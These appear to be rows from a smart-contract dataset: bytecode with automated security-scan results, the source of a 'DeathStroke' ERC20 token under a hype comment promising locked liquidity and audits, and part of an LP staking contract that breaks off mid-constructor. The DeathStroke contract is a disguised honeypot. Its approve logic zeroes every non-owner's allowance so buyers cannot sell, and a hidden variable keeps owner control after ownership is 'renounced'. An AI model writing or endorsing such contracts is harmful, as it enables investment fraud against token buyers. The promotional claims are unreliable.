aa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039c24c50654600a5f21cdbc046e132fcf61f129a2307a294fc348c0f4e716d4f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,306 |
0x89db9ba9ea1d317394aebb99b951182e4ab3366a
|
/**
DeathStroke ERC20 - degen play - i do not know this dev / never worked / there was a private raised by a bunch of influencers - still need to use a whitepaper / other stuff to prove the concept - i believe he's gonna stealth launch it sometime today. EDIT: as always wait for lock and renounce if you want to play it safe
Anti Bot Features
Max TX: 1% of total Supply, at Launch!
Initial Liquidity: 10-15 ETH
Dev said: Liquidity will be locked for 2 weeks immediately after going live (relocking as they grow for 3 months.)
Certik Audit will be paid in the first week, cg and cmc listing and dex trend is in the cards
🌐Website: https://www.deathstroke.io/
🐣Twitter: https://twitter.com/deathstrokeerc?s=21
📥Telegram: https://t.me/DeathstrokeERC20
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DeathStroke is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**12* 10**18;
string private _name = 'DeathStroke ' ;
string private _symbol = 'DEATHSTROKE ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207bea5b41320cc6b88023f2c3b2de3ab245467406c10c817bb06b23285f23f07564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,307 |
0x7e342bcf732fe48358e07cc600ec837562f518dd
|
/**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external pure returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusPair is IERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingLPRewardFixedAPY is IStakingRewards, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
IERC20 public immutable rewardsToken;
INimbusPair public immutable stakingLPToken;
INimbusRouter public swapRouter;
address public immutable lPPairTokenA;
address public immutable lPPairTokenB;
uint256 public rewardRate;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
uint256 private immutable _tokenADecimalCompensate;
uint256 private immutable _tokenBDecimalCompensate;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address indexed to, uint256 amount);
event RescueToken(address indexed to, address indexed token, uint256 amount);
constructor(
address _rewardsToken,
address _stakingLPToken,
address _lPPairTokenA,
address _lPPairTokenB,
address _swapRouter,
uint _rewardRate
) {
rewardsToken = IERC20(_rewardsToken);
stakingLPToken = INimbusPair(_stakingLPToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
lPPairTokenA = _lPPairTokenA;
lPPairTokenB = _lPPairTokenB;
uint tokenADecimals = IERC20(_lPPairTokenA).decimals();
require(tokenADecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenADecimalCompensate = tokenADecimals - 6;
uint tokenBDecimals = IERC20(_lPPairTokenB).decimals();
